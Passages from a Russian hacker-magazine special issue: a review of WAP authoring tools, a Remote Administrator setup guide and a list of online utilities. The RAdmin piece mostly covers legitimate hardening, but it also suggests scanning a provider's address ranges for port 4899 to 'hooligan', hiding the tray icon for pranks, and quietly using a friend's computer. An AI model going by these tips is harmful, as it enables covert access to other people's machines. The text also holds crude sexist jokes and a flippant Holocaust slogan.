картинки, динамика, скрипты. Не веришь? Ну, вот тебе, пожалуйста, пример: видел, небось, на мобильных сайтах менюхи с выбором разделов ресурса? Делается это на раз-два. На "раз" пишется WML-ная часть паги:

<wml>

<card id="Order" title="Query Inventory">

<p>

<select name="Items" title="Items">

<option value="Books">Books</option>

<option value="Music">Music</option>

<option value="Video">Video</option>

<option value="Software">Software</option>

</select>

</p>

<do type="accept" label="Query">

<go href="http://127.0.0.1/WML/Inventory.asp" method="post">

<postfield name="Items" value="$(Items)"/>

</go>

</do>

</card>


Спецвыпуск Xakep, номер #030, стр. 030-068-2, WAPерация - "Комп или кипячение?"

WAPерация - "Комп или кипячение?"

Томилин aka "Middlenight"

Спецвыпуск Xakep, номер #030, стр. 030-068-2

</wml>

На "два" - скриптовая часть. В данном случае это асповый "Inventory.html":

<%

Dim Body

If Request.Form("Items") = "Books" Then

Body = "You selected Books!"

ElseIf Request.Form("Items") = "Video" Then

Body = "You selected Video!"

ElseIf Request.Form("Items") = "Software" Then

Body = "You selected Software!"

ElseIf Request.Form("Items") = "Music" Then

Body = "You selected Music!"

End If

Response.ContentType = "text/vnd.wap.wml"%>

<?xml version='1.0'?>

<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">

<wml>

<card>

<p>

<%Response.write(Body)%>

</p>

</card>

</wml>

Думаю, что код понятен: юзверь делает через формуляр запрос, который летит на сервак и там обрабатывается. После необходимых вычислений обратно на мобилку летит ответ на запрос. Ну и все, дело в шляпе :).

Смело пишу: "Профессия - Белка!"

Ну и раз в мобильном Инете не все так безнадежно, как может показаться на первый взгляд, то настоящим кул-веб-дезигнерам просто грех не проявлять здесь свои недюжинные таланты. Одно только "но": даже самый сега-мега-кул (в периоде) веб-кодер вряд ли сможет набить WAP-сайт на мобилке. Причины сего - десять текстовых кнопок на телефоне и экранчик в две сопли. Тута, как ни крути, придется запрягать компешник и кодить, загрузившись предварительно необходимым для ВАП-а софтом. О нем и пойдет речь.

Большие уши, рыжий хвост, наш стиль жизни - Холокост!

Итак, что нам нужно для замута стоящего ВАП-портала. Намбер раз - это ВАП-редактор. Точно так же, как и для обычных сайтов, здесь многое упирается в личные привязанности. Я, например, как всю жизнь набивал страницы под виндами в блокноте, а под Линухом в Емаксе, так и буду набивать, и положить мне, что это не есть круто. Главное, что мне удобно. Если же ты чел более прогрессивный, то тебе понадобятся специализированные редакторы. Их, на самом деле, не так уж много, но они все же есть. Намбер два - это ВАП-эмулятор. Согласись, как-то глупо ваять сайты вслепую. Вап-эмулятор это, как правило, прога, позволяющая увидеть, как твой проект будет выглядеть на экранчиках разных моделей сотовых телефонов. Вообще, сейчас для многих телефонов производители стали делать свои собственные эмуляторы, но, на мой взгляд, лучше обзавестись универсальным эмулятором с возможностью просмотра нескольких видов дисплеев, дабы оптимально подгонять свой сайт под телефоны разных производителей. Ну и, наконец, намбер три для любителей... эээ... всяких там взрослых развлечений :) - конвертор картинок из компешных форматов в ВАП-овый WBMP. Вот этих-то дурилок картонных как раз ж... жадницей жуй :) - валяются на каждом углу, так что есть из чего выбрать. Итак, предлагаю пробежаться трусцой по нескольким представителям каждого вида вышеперечисленных прог.

Эдитор Пьехов

Итак, первыми на повестке дня у нас значатся WML-редакторы - с них и начнем. Первого нашего пациента зовут DotWAP (http://www.tagtag.com/). Как это часто бывает, если прога фриварная, да еще и буржуинская, то вряд ли она представляет собой что-то серьезное. Так и в этот раз. Если приводить аналогии с HTML-редакторами, то по своей функциональности DOTWap будет сравним с Microsoft Word-ом. То есть в нем нет ничего, кроме возможности визуального клепания сайта. Интерфейс проги похож на файловый менеджер: слева корень проекта, справа два, в лучшем случае три поля для набивания текста, адреса ссылки или вклеивания картинки. Еще одна аналогия - окно Flash actions в неэкспертном режиме. Только здесь нет абсолютно никакой возможности писать исходный код проекта: это касается и WML-тегов, и тем более скриптов. Есть возможность публикации сайта на сервере, но я, честно говоря, постеснялся бы публиковать получившийся таким образом сайт. Хотя ладно, чего это я все ругаю да ругаю, можно ведь и пару хвалебных слов сказать, например, о том, что в эдитор встроен целый ВАП-эмулятор. Правда, его качество - это отдельный разговор: весь прикол в том, что он показывает не получившуюся WML-страничку - здесь их можно только сохранять, - а некий html-ресурс на основе забитых данных. Телефоша, на дисплее которого все это отображается, представляет собой открыто лежащую в папке с прогой половинку фотки какого-то Эриксона. Если хочешь приколоться, то вставь в проект картинку поздоровее и смело публикуй: забитый посредством все того же XML-я «эмулятор» обязательно выдаст на голубеньком экранчике какой-нибудь с бодуна взятый кусок пикчи во всем многоцветии. Конвертировать же картинки в WBMP посредством DOTWap-а лучше не надо - темнотень получится, хоть глаз выколи. Одним словом, халтура. Даже хелпа нет. Да и к чему он здесь? Вряд ли кто захочет с этой прогой связываться.


Спецвыпуск Xakep, номер #030, стр. 030-068-3, WAPерация - "Комп или кипячение?"

WAPерация - "Комп или кипячение?"

Томилин aka "Middlenight"

Спецвыпуск Xakep, номер #030, стр. 030-068-3

Если хочется чего-то более функционального, чем предыдущий пациент, то вполне может пригодиться прога под названием WAPDrive WAPtor (http://wap-navigator.narod.ru/Download/wd-waptor23.exe). Вот здесь-то, пожалуй, есть где развернуться. Больше всего прога напоминает мой любимый линуховый Emacs. То есть присутствует все, что надо: подсветка тегов, комментарии по разметке карт, система поиска. Ну а чтобы не набивать весь код ручками, есть возможность визуального добавления отдельных тегов: таблиц, картинок, кнопок - в общем, почти всего, что поддерживает спецификация WML. Очень приятно, что в новый проект сразу вписываются основные теги типа <?xml version> и первая карточка (страница). Также не могу не отметить очень удобную систему помощи - все, что нужно, и ничего лишнего. Единственное, чего нет в ВАП-драйве, так это возможности контролировать вписываемые в проект скрипты, хотя большим минусом я это не считаю, так как прога изначально базируется как WML-редактор. По этой же причине не следует искать здесь ВАП-эмулятор. Итого в сухом остатке имеем очень хорошую, удобную и бесплатную (!!!) прогу для написания кода даже теми, кто этого самого кода не знает.

Ну и под конец неплохой, хотя и очень странный, на мой взгляд, редактор - SantanaBuilder for WAP (www.inetis.com). Все, конечно будут смеяться, когда я дам вторую ссылку на Сантану, но это все тот же www.tagtag.com - отец первого нежизнеспособного персонажа в обзоре. Ну да не суть, тем более, что прога шароварная (для кого-то :). Перейдем к самому эдитору. Внешним видом до боли напоминает беднягу ДотВапа - те же корень и основное поле, только иконок побольше, да и формы несколько изменились. Если копнуть глубже, то будет понятно, что, при всей оставшейся визуальности проги, возможностей прибавилось на порядок. Вкратце - это вклеивание в проект формуляров, баз данных и даже скриптов. Скрипты можно писать самому, да аж на трех языках: на аспе, php и обычном wml :) (правда, без подсветки). Также, не в пример DotWap-у, в прогу встроен мощный image-редактор с возможностями экспорта, scale, инвертирования, изменения яркости и контраста картинки плюс много чего еще. Эмулятор теперь не встроенный, а удаленный - на сайте tagtag.com, - зато и не такое убожество, как был сам знаешь где. В общем, при всех приятностях программы, остается некоторое недоумение: а какого, собственно, хера здесь нету основной фичи любого уважающегося себя эдитора, а именно возможности редактировать код ручками? Финтифлюшек всяких налепили, а про главное забыли? Ладно, оставим это на совести разработчиков.


Спецвыпуск Xakep, номер #030, стр. 030-068-4, WAPерация - "Комп или кипячение?"

WAPерация - "Комп или кипячение?"

Томилин aka "Middlenight"

Спецвыпуск Xakep, номер #030, стр. 030-068-4

Квинтэссенциональный эмульгатор

Переходим к заменителям. Надеюсь, что переход будет безболезненным. Первым пропустим вперед эмулятор WinWap 3 - опыт показывает, что продукты, маркированные приставочкой Win, лучше заценивать первыми, чтобы было потом с чем сравнивать :). В этот раз я сделал именно так и не пожалел. Поясню: дело в том, что заказ на статью я получил будучи, как бы это сказать, не совсем трезвым. Но делать нечего - надо писать (во всех смыслах :). Сел я, значит, за комп и стал качать софт. Первым на мой винт пересел именно WinWap. Запустил я его, пропустив объяву о шароварности проги, хожу-брожу по мобильному Инету и со временем понимаю, что что-то не так. Я очень долго пялился в экран, пытаясь понять, что именно, но не мог - настолько основательно были залиты мозги. Осознание пришло через час: когда я понял, в чем дело, я стал сильно смеяться. Боже, как я ржал! Небо не видело доселе, что можно так ржать. Я смотрел попеременно то на экран компа, то на зажатый в руке старенький Эрик и продолжал ржать. Объяснить? Помнишь, я говорил о том, что хороший эмулятор ВАПа должен показывать, как будет выглядеть сайт хотя бы на нескольких разных телефонах? В отличие от плохого эмулятора, который работает только с одним телефоном. Ну так вот, ВАП-эмулятор WinWap показывает, как будет выглядеть сайт мобильного Интернета в Internet Explorer-е :). Да-да, со всеми его а-ля трехмерными кнопарями, выпадающими скролл-меню и разноцветными заставками на бэке. А теперь представь мое состояние, когда я представлял себе, как вся эта красота будет выглядеть на четырехстрочном монохромном экранчике моей (и не только) мобилки, а потом думал, для кого этот эмулятор был сделан. Для обладателей наладонников? Вроде такого там тоже нет. Для ВАП-Веб-дезигнеров? Сомневаюсь - для них как раз важно видеть, как будет выглядеть результат на мобилке. Для даунов, которые предпочитают лазить через комп по мобильному, а не по обычному и-нету? Да, пожалуй, что именно для них :). Обращаюсь именно к таким персонажам: счастья вам, братья наши меньшие :).


Спецвыпуск Xakep, номер #030, стр. 030-068-5, WAPерация - "Комп или кипячение?"

WAPерация - "Комп или кипячение?"

Томилин aka "Middlenight"

Спецвыпуск Xakep, номер #030, стр. 030-068-5

Вдоволь насмеявшись, запускаем следующую прогу из обзора - эмулятор M3Gate (www.m3gate.com). Этот персонаж уже не настолько комичен, как предыдущий товарисч. Интерфейс проги очень даже привлекателен - эмулятор выполнен в виде наладонника типа "Palm" (поддерживаются и другие скрины) с активными кнопками. Отображается все также довольно пристойно и правдоподобно. В целом, придраться можно только к некоему затруднению при загрузке локальных файлов: обзора нет, а если ручками набивать, то он не понимает. Приходится ассоциировать файлы с эмулятором. Впрочем, этот недостаток я списываю на баги бета-версии, тем более, что больше в проге придраться не к чему.

Последним в списке эмуляторов я обозначил Wireless Companion (www.yourwap.com). Это, на мой взгляд, лучший из существующих на данный момент ВАП-эмуляторов. Обзор ВАП-сайтов доступен через 4 сотовых телефона разных фирм: Motorola, Nokia, Siemens и Trium Geo (что за зверь такой - не знаю; ламерикос, наверное). Кнопки всех телефонов активны, но чисто для удобства пользователя строка url вынесена отдельно от экрана мобилки. Справа от мобилки находится окно осла, в котором, по идее, должна отображаться основная страница сервера, содержащего текущую WML-страницу, но ей можно задавать любой адрес, даже локальный. Да, кстати, об ослах: локальные файлы открываются здесь так же хреново, как и в M3Gate, хотя если написать путь вручную, то объект откроется. В целом же впечатление от проги очень хорошее: удобное управление, правильное отображение сайтов, и все это абсолютно бесплатно! Как всегда :).

Middlenight Imagery Resource

Вот и настало время для обзора последней категории прог реальных кул-сега-мега-вап-дезигнеров. Речь, разумеется, идет о конверторах картинок. Конвертировать будем в WBMP - больше пока не предусмотрено, но для мобилки и это сойдет. Первый конвертор называется DissectImage (http://www.neutrinosoft.com). Вещь очень занимательная: выдает на гора кучу картинок с заданного оригинала. Работать можно в двух режимах: пошаговом и в визарде. Различаются они мало, поскольку в любом случае итогом станет рождение более десятка монохромных картинок разной степени плотности, контраста и так далее. Если что не нравится, то к твоим услугам просто дохренища инструментов и фильтров для доработки пикчей. Вывод один: ставь себе эту прогу, и больше над перегонкой в WBMP заморачиваться не придется.

Благополучно пропускаем специализированный плагин-конвертор для пятого Фотожопа (http://www.rcp.co.uk/distributed/) - не дурак, небось, разберешься - и плавно перетекаем в последнюю прогу из сегодняшнего обзора - Pic2wbmp (http://www.gingco-newmedia.de). Никаких наворотов: пара флипов (горизонтальный/вертикальный), диффузия и контраст. И этого, надо сказать, хватает, хотя меня лично больше всего приколол хелп - более лаконичного... эээ... куска... эээ... или листка я в этом разделе еще не видел. Браво!


Спецвыпуск Xakep, номер #030, стр. 030-068-6, WAPерация - "Комп или кипячение?"

WAPерация - "Комп или кипячение?"

Томилин aka "Middlenight"

Спецвыпуск Xakep, номер #030, стр. 030-068-6

ПОДВЕДЯ...

Итог №1: как полноценный редактор, на мой взгляд, заслуживает интерес только WapDrive Waptor, хотя, определенно, некоторые навороты Сантаны ему бы не помешали. В общем, если найдешь где-нибудь подобный комбинированный агрегат, напиши мне, плиз.

Итог №2: минута смеха добавляет семь минут жизни :), а M3Gate откровенно рулит.

Итог №3: не сильно заморачивайся с картинками - порносервер в WBMP все равно не слепишь.


Спецвыпуск Xakep, номер #030, стр. 030-072-1, RAdmin как веб-тулза - используем Remote Administrator в мирных целях

RAdmin как веб-тулза - используем Remote Administrator в мирных целях

..::R0m@n AKA D0ceNT::..

Спецвыпуск Xakep, номер #030, стр. 030-072-1

Тема программ для удаленного администрирования неоднократно затрагивалась на страницах нашего журнала. Но мы рассказывали тебе, как применить их для нападения, вроде легального трояна. Пришло время поговорить о том, для чего собственно и были созданы эти проги, а именно - в помощь пользователям и администраторам, для удаленного управления серверами и рабочими станциями. Например, чтобы системный администратор мог, не поднимая лишний раз со стула свою самую важную часть тела и не подвергая ее излишним колебаниям, исправить какие-нибудь технические проблемы не очень высокой степени тяжести (к сожалению, такие программы еще не научились проверять кабель на повреждения, искать и устранять неисправности в железе и выполнять другую механическую работу). А также чтобы он смог сделать это и в условиях своего отсутствия на работе, через Интернет. Если ты не админ, то можешь найти и другое полезное применение этой проге - поставь ее своей подружке (подружкам), и когда она позвонит и попросит помочь исправить ей какой-либо глюк или показать куда же спряталась какая-нибудь противная иконка, ты прямо тут же сможешь ей помочь. А уж какое на нее это может произвести впечатление, когда ты, как бог, на ее глазах подчинишь ее комп своей власти и устранишь все проблемы :)! Думаю, она не устоит, чтобы позвать тебя к себе и показать все это (и не только это) еще раз, но уже не удаленно... Только не забудь захватить на всякий случай файрвол. Резиновый :).

Remote Administrator

Для примера возьмем довольно известную прогу Remote Administrator. Кстати, именно ее я использую на работе для управления сервером сети. Думаешь, это глупо - использовать на сервере такую вещь, что это еще одна дыра? Я бы сказал, что ты не совсем прав, читай дальше, и ты поймешь, почему. Если серверу или рабочей станции по какой-то причине нужно взаимодействовать с Интернетом, тем более если на это веб-сервер, почтовый, FTP и т.д., то тут по-любому есть риск вторжения различных злодеев, вирусов и прочей бодяги. Так что если ты боишься - отключи компьютер от сети и забудь о существовании Инета. А программа удаленного администрирования, настроенная должным образом, не опаснее любого другого сетевого сервиса.

В первую очередь нужно узнать IP-адрес того, кому ты решил удаленно помочь. Особенно, если вы не в одной сети или вообще оба или один из вас сидит по диал-апу. Тут уже есть разные варианты. Можно воспользоваться банальной Асей, но только не стандартным асечным клиентом, а Mirand'ой, о которой мы тебе как-то рассказывали. Она умеет показывать как внутренний IP (если чувак сидит в подсети), так и внешний, который нам и нужен, особенно для диал-апа. Если же Асей по какой-то причине не получится воспользоваться, тогда можно попросить (ты же легально собрался помогать) того чела запустить консоль и набрать волшебное слово ipconfig в командной строке. В ответ тачка и покажет текущий айпишник. Если ты собрался не помогать, а схулиганить, тогда сложней - придется просканировать прова (предварительно выяснив его айпишники), на котором чувак сидит, а затем долго и мучительно сканировать полученные айпишники на наличие 4899 порта. Это порт RAdmin'а по умолчанию, если ты его не изменил, при установке сервера на тачку того чела.


Спецвыпуск Xakep, номер #030, стр. 030-072-2, RAdmin как веб-тулза - используем Remote Administrator в мирных целях

RAdmin как веб-тулза - используем Remote Administrator в мирных целях

..::R0m@n AKA D0ceNT::..

Спецвыпуск Xakep, номер #030, стр. 030-072-2

Remote Administrator, как и все подобные проги, состоит из клиентской и серверной частей. К сожалению, эта прога не позволяет ставить только одну из этих частей. Но ты можешь не запускать серверную часть, если тебе этого не требуется. Все зависит от настроек. С установкой, я надеюсь, никаких проблем не возникнет, только единственный момент: если ты собираешься использовать на компе серверную часть, то поставь во время установки галочку на Install RAdmin server as system service, чтобы она запускалась вместе с Windows, иначе придется запускать его вручную, также это ограничит некоторые возможности. Соответственно, если нужно использовать ее только как клиента - не ставь галку. Все это можно сделать и позднее в Settings for Remote Administrator server.

Сервачок

После установки нужно настроить серверную часть. Зайди в Settings for Remote Administrator server. Там ты увидишь несколько кнопок. Install Service и Remove service - делают как раз то же, что и та галка при установке. Set Password позволяет задать пароль для использования серверной части. Это как раз для того, чтобы тем компом (сервером) не смогли админить все, кому не лень. Там же можно задать и предусмотренное в NT'ях разграничение прав для различных пользователей. Options позволяет задавать более тонкие настройки. О них поговорим подробнее. IP-фильтр - это что-то вроде файрволла. Он позволяет коннектиться к серверной части только заданному диапазону адресов. Опять же, чтобы кроме тебя больше никто не мог подсоединиться к серверу. Вместе с паролем это создает уже более весомую защиту. Злобный хацкер сразу и не достанет. Обязательно отметь Use IP filer галкой и задай нужные IP кнопкой Add. Для добавления единственного IP укажи этот адрес, а маску задай 255.255.255.255. Если тебе нужен доступ с нескольких компов той же или другой сети, укажи первые три значения адресов в этой сети, а вместо последнего укажи 0, например - 192.168.1.0. В качестве маски в этом случае укажи 255.255.255.0. Use default port - задает порт, по которому клиент и сервер общаются. По умолчанию это 4899. Для безопасности можешь попробовать снять галку с этого пункта и установить свой порт или даже замаскировать прогу под какой-нибудь сервис, не используемый на этом компе, указав его порт. Это осложнит жизнь какой-нибудь редиске при сканировании портов; определить, что на той тачке используется именно Remote Administrator, будет трудно. При этом не забудь в клиентской части при соединении указать тот же порт. Use Log File также пометь - логи тоже полезно смотреть в случае чего. Особенно если ты это собрался на сервере использовать, а не просто помогать своим друзьям или пользователям сети. Hide trаy icon - позволяет скрыть присутствие серверной части на компьютере (она отображается в трее и при щелчке на ней указывает, подключился кто или нет) - это особо полезно, если ты решил над кем-то пошутить. Ask user permission to allow incoming connection - если ты это установишь, то клиентом нельзя будет подсоединиться, пока пользователь не разрешит это сделать. Для сервера не очень полезно, так как за ним никто не сидит, а вот для помощи пользователям или друзьям - не помешает, чтобы они были в курсе дела, что ты именно помочь им решил, а не подсмотреть, по каким порносайтам они шастают :). Вот и все, что можно сказать по серверной части.


Спецвыпуск Xakep, номер #030, стр. 030-072-3, RAdmin как веб-тулза - используем Remote Administrator в мирных целях

RAdmin как веб-тулза - используем Remote Administrator в мирных целях

..::R0m@n AKA D0ceNT::..

Спецвыпуск Xakep, номер #030, стр. 030-072-3

Клиентик

Теперь поговорим о клиенте. Сначала нужно создать в нем новое соединение. Либо можно подсоединиться моментально. В обоих случаях надо указать при этом IP адрес компа или его сетевое имя. А также надо указать порт, если ты изменил порт по умолчанию в серверной части. Можно выбрать, как ты хочешь подрубиться к удаленной тачке, то есть ты можешь подконнетиться, чтобы получить полный контроль над системой, наблюдая при этом экран удаленного компьютера и управляя им так же, как если бы ты сидел за ним. Причем, надо отметить, что Remote Administrator довольно шустро с этим справляется. Но траффика жрет нехило. Так что будь осторожен, если ты на выделенке. Через диал-ап, конечно же, это все несколько тормозит. Также можно просто наблюдать за этим экраном без получения контроля. Еще можно подсоединиться в режиме командной строки, как будто ты работаешь в консоли за тем компьютером (шелл! :)). Можно только обмениваться файлами между твоим компьютером и удаленным. Либо, наконец, просто выключить его. Если ты задал логин и пароль на серверной части, то, прежде чем выполнить любое из этих соединений, тебе нужно будет их ввести.

И что теперь?

Все это предоставляет тебе замечательные возможности. Можно, например, шариться по удаленному винту, даже если он не расшарен. Можно попросить другана вставить в цэ-дэ-ром какой-нибудь нужный тебе диск, и не бежать к нему за ним. Можно также смотреть вместе с ним кино, но без звука - этого прога не умеет. Еще появилась возможность лазить в Инете с чужого компа. Особенно весело это, когда вы с этим челом сидите в одной сети, а Инет есть только у него, и он не очень-то хочет пускать через свой комп в Инет всех подряд. В этом же случае можно заставить его комп скачать для тебя что-нибудь из Инета, и не особо разоряться на траффике. Если у него соединение по выделенке (или даже по диал-апу) и он частенько оставляет комп на ночь, то он может даже не догадаться о том, что за ночь его комп скачал из сети новый фильмец. А ты потом просто перегонишь его к себе по внутренней сети, если вы с ним в одной сети, конечно. Либо просто завалишься с винтом под предлогом «а вот я тебе ща такую клевую софтину покажу!» :).

Самый интересный эффект, который был обнаружен во время юзанья RAdmin'а - это так называемый зеркальный эффект. Если запустить у себя серверную часть и подконнектиться по своему же айпишнику клиентской частью, то ты как бы увидишь свой же экран в окне RAdmin'а, но он начнет бесконечное дублирование самого себя. И так будет до бесконечности, пока ты не закроешь основное окно клиента. А уж как можно испугать чела, которому ты поставил серверную часть! Попробуй зайти к нему своим клиентом, запустить у него клиента и открыть его клиентом его же тачку. А если еще и не давать ему закрыть это окно с помощью своей мыши... Такое может напугать даже бывалого компьютерщика!


Спецвыпуск Xakep, номер #030, стр. 030-072-4, RAdmin как веб-тулза - используем Remote Administrator в мирных целях

RAdmin как веб-тулза - используем Remote Administrator в мирных целях

..::R0m@n AKA D0ceNT::..

Спецвыпуск Xakep, номер #030, стр. 030-072-4

Еще как вариант - зайди на комп с серверной частью, запусти там клиента и зайди им еще на какой-нибудь комп с установленным сервером, с того компа еще на один... так можно зайти на сколько угодно компов друг за другом. Или же зайди с того компа на свой комп. Вариантов можно много придумать :).

Также интересна и попытка зайти на один комп с серверной частью одновременно с нескольких тачек. Это прямо как в басне Крылова про лебедя, рака и щуку, которые тянули повозку в разные стороны. Каждый хочет подвести курсор к разным кнопкам и значкам на экране, но ничего ни у кого не выходит, и курсор только судорожно дрыгается из стороны в сторону. Побеждает самый терпеливый и настойчивый!

Все это шутки, конечно, но это стоит того, чтобы попробовать. Выглядит весьма прикольно. Да и знаешь, какое впечатление на непосвященных оказывает комп, который сам у себя двигает курсором и запускает программы! Вспоминаются вестерны про дикий запад. У них там, в салунах, бывали такие пианино, в которых было интегрировано некое подобие музыкальной шкатулки, и эти пианино мало того что издавали музыку без помощи музыканта, а еще и клавиши на них сами нажимались. Вот примерно такой же случай, только вот кнопки на клавиатуре при этом сами не нажимаются :). А жаль :).

Как видишь, эту прогу удобно использовать во многих случаях. И при этом не бояться, что кто-нибудь другой влезет на компьютер с серверной частью, так как она обладает вполне достойной защитой, если ты ее грамотно настроишь. А главное, не забывай всех преимуществ, которые ты можешь получить, используя ее в работе и в помощи юзерам и особенно - юзершам :).


Спецвыпуск Xakep, номер #030, стр. 030-074-1, СОФТ ЧЕРЕЗ БРАУЗЕР - полезные тулзы на каждый день

СОФТ ЧЕРЕЗ БРАУЗЕР - полезные тулзы на каждый день

Андрей Каролик

Спецвыпуск Xakep, номер #030, стр. 030-074-1

(andrusha@sl.ru)

Инет - это офигительно огромные залежи всяческих необходимых и вкусных штучек. Список доступных тематик практически бесконечен: программы, музыка, графика, различные галереи, книжки в электронном виде, заманчивые вакансии, всевозможные кряки и прочие полезности. Есть практически все, что твоей душе угодно. Но отдельного внимания заслуживают ресурсы, на которых выставлены скрипты, сильно упрощающие виртуальную жизнь. Прелесть заключается в том, что они уже готовы к дистанционному употреблению. Ничего не надо скачивать, устанавливать и настраивать. Короче, мучаться не надо :). Просто набрал адрес, узнал, что нужно, и ушел. И все бесплатно!

ПОИСКОВЫЕ СЕРВЕРА

Без них в Инете, как без рук: все свелось бы к поиску черной кошки в черной комнате, еще и после водки :). Если ты не знаешь точный адрес сайта с искомой информацией, то поисковик - единственная надежда, чтобы выйти на след. Достаточно сказать, что написание этой статьи было бы невозможным без использования мощностей поисковиков. По сути поисковой сервер - это навороченный скрипт, который позволяет в реальном времени осуществлять поиск, перелопачивая горы накопленной информации, и выдавать ответ на запрос в считанные секунды. При этом алгоритмы хранения информации, методы поиска по запросу и способы представления результатов на разных поисковиках могут кардинально отличаться. Но ты ничего этого не видишь, для тебя главное - результат. Одно понятно наверняка: искать русскоязычные ресурсы целесообразнее через российские поисковики, а англоязычные - через забугровые. Всего существует несколько десятков поисковиков, но реально пользуются единицами. Чаще всего ищут через:

Rambler (www.rambler.ru)

Яndex (www.ya.ru)

AltaVista (www.altavista.com)

Excite (www.excite.com)

HotBot (www.hotbot.com)

Google (www.google.com)

Yahoo! (www.yahoo.com)

Lycos (www.lycos.com)

АНТИВИРУСЫ

Видимо, сражаясь за новых клиентов и пытаясь привлечь внимание к своей продукции, а параллельно насилуя наше падкое подсознание, которое и так имеют все рекламодатели :), отечественные антивирусные гиганты сделали на своих сайтах скрипты, которые позволяют теперь проверять файлы на наличие вирусов онлайн (!). Очень удобная альтернатива, если на компе не установлен антивирус либо его вирусная база морально устарела, а апгрейдить ее жутко в лом :). Тогда через элементарную форму выбираешь подозрительный файл со своего винта, подгружаешь его на "санитарный" сервер и запускаешь проверку на вирусы. Если нужно проверить одновременно несколько файлов, то упакуй их в один архив (*.arj, *.zip или *.rar) и проверяй на здоровье.

Лаборатория Касперского (www.kaspersky.ru/remoteviruschk.html) немного пожидилась в этом проекте, позволяя проверять файлы и архивы размером не более одного метра. А вот Dr.Web - молодца (http://online.drweb.ru или http://antivirus-online.ru), не предъявляет никаких ограничений к проверяемым файлам. Единственное, чем больше файл, тем дольше его подгружать на сервер. Хотя мне кажется, что самое полезное в этом сервисе - проверка свежескачанных кряков :). Громадный плюс этой гуманной затеи заключается в том, что в онлайновой версии проверка всегда ведется с использованием самой свежей версией антивирусной программы, включающей все последние дополнения по новым вирусам, ни одна гнида не проползет :). Однако ты проверяешь отдельные файлы, а память, загрузочный сектор или целые директории проверить уже не получится. Подобное телодвижение возможно с PC Pitstop Virus Scan (www.pcpitstop.com/antivirus), но для этого придется поставить дополнительный ActiveX-компонент. При загрузке сайта установка недостающего компонента предлагается автоматически. Так что вооружайся и предохраняйся онлайн!


Спецвыпуск Xakep, номер #030, стр. 030-074-2, СОФТ ЧЕРЕЗ БРАУЗЕР - полезные тулзы на каждый день

СОФТ ЧЕРЕЗ БРАУЗЕР - полезные тулзы на каждый день

Андрей Каролик

Спецвыпуск Xakep, номер #030, стр. 030-074-2

ПОЧТОВЫЕ ИНДЕКСЫ

Допустим, тебе нужно написать обычное письмо (в смысле то, которое в конвертике). Мало ли вступит :). Так вот, часто почтовый адрес известен, а индекс нет. Сам адрес можно легко узнать по телефонной базе, зная телефон (при условии, что у жильца есть телефон в принципе). А дальше, зная название улицы и номер дома, с помощью скрипта на сайте http://indexes.boom.ru вычисляешь почтовый индекс. Номер дома не обязателен, но бывает так, что одна часть домов с улицы Беспризорной идет с одним индексом, а другая часть домов - с другим. Если ты ошибешься индексом, катастрофы не будет, но письмо может не дойти до адресата. На случай, если тебя застал злостный склероз :), поиск на http://indexes.boom.ru можно вести по первым 4-м буквам из названия улицы. Возможен и обратный поиск: по индексу выводится список улиц, которые к нему прикреплены. Аналогичные поисковики: www.zipcode.ru/zipcode, www.infobroker.ru/zip.html, http://postindex.otrok.ru и т.д.

КАРТЫ

Если почтовые индексы нужны не так часто, то карта города нужна постоянно: куда-то съездить, что-то найти, выбрать удобный маршрут и т.п. Наиболее удачная по исполнению и функциональным возможностям интерактивная карта Москвы - MOSMAP (www.moscowmap.ru). Вводишь нужный адрес и вперед по кочкам :). Для поиска в названии улицы достаточно указать первые 3-5 символов, тебе будет выведен список всех улиц с нумерацией домов, подпадающих под заданный шаблон. Уточнив адрес (улицу и номер дома), ты получишь наглядную схемку (вид сверху), на которой отображены искомый объект и прилегающие окрестности. В дальнейшем эту графическую шнягу можно всячески масштабировать, вращать и сдвигать в разных направлениях от объекта. В конце баталий, само собой, можно распечатать. Альтернатива MOSMAP - http://moscow.nakarte.ru, для Питера есть отдельные карты: http://spb.nakarte.ru и www.yel.ru/map.

Кому-то пригодится своеобразный проект www.naitiprosto.ru. Он позволяет искать адреса, телефоны, факсы, веб-сайты и мыльники различных организаций, находящихся поблизости к интересующей станции метро, улице, маршруту автобуса (!), троллейбуса или трамвая. То есть поиск осуществляется по расположению относительно чего-либо. Если из полученного списка организаций выбрать интересующую, то дополнительно выводится краткое описание, контактная информация и схематичная карта района, по которой легко сориентироваться, на чем и как подъехать, подойти или незаметно подползти :).


Спецвыпуск Xakep, номер #030, стр. 030-074-3, СОФТ ЧЕРЕЗ БРАУЗЕР - полезные тулзы на каждый день

СОФТ ЧЕРЕЗ БРАУЗЕР - полезные тулзы на каждый день

Андрей Каролик

Спецвыпуск Xakep, номер #030, стр. 030-074-3

ПЕРЕВОДЧИКИ

Изучать горы мануалов, факов (faq), новостей или серьезных литературных произведений на английском языке без хорошего словаря затруднительно. Можно, конечно, тискать огроменный бумажный талмуд а-ля Большой Англо-русский и Русско-английский словарь, листая туда, сюда и обратно. А можно воспользоваться услугами бесплатных онлайн-переводчиков. Наиболее популярный - PROMT's Online Translator (www.translate.ru). Это крупный портал, позволяющий переводить тексты, целиковые странички на сайтах (с полным сохранением оригинального форматирования, гиперссылки тоже переводятся), мыльные романы и WAP с четырех языков мира: английского, немецкого, французского и испанского. Ограничение перевода - до 500 символов одновременно, но, заполнив регистрационную анкету (бесплатную) с кучей вопросов, ты увеличиваешь этот лимит до 2000 символов плюс получаешь дополнительный доступ к специализированным словарям и грамматической информации по каждому интересующему слову из перевода.

PROMT's Online Translator плох тем, что изрядно забит рекламой. Если тебе нужно перевести только отдельные слова или фразы с английского или на английский, для перевода идеально подойдет более быстрый Яndex.Lingvo (http://lingvo.yandex.ru), содержащий минимум рекламы. Если тебя не устроит качество перевода, то пробуй другие аналогичные переводчики: www.perevodov.net, http://babel.altavista.com, http://translate.rax.ru и т.д. Много ссылок на разные словари есть на http://datum.narod.ru/dict_r.html.

ТОЛКОВЫЕ СЛОВАРИ, ЭНЦИКЛОПЕДИИ И СПРАВОЧНИКИ

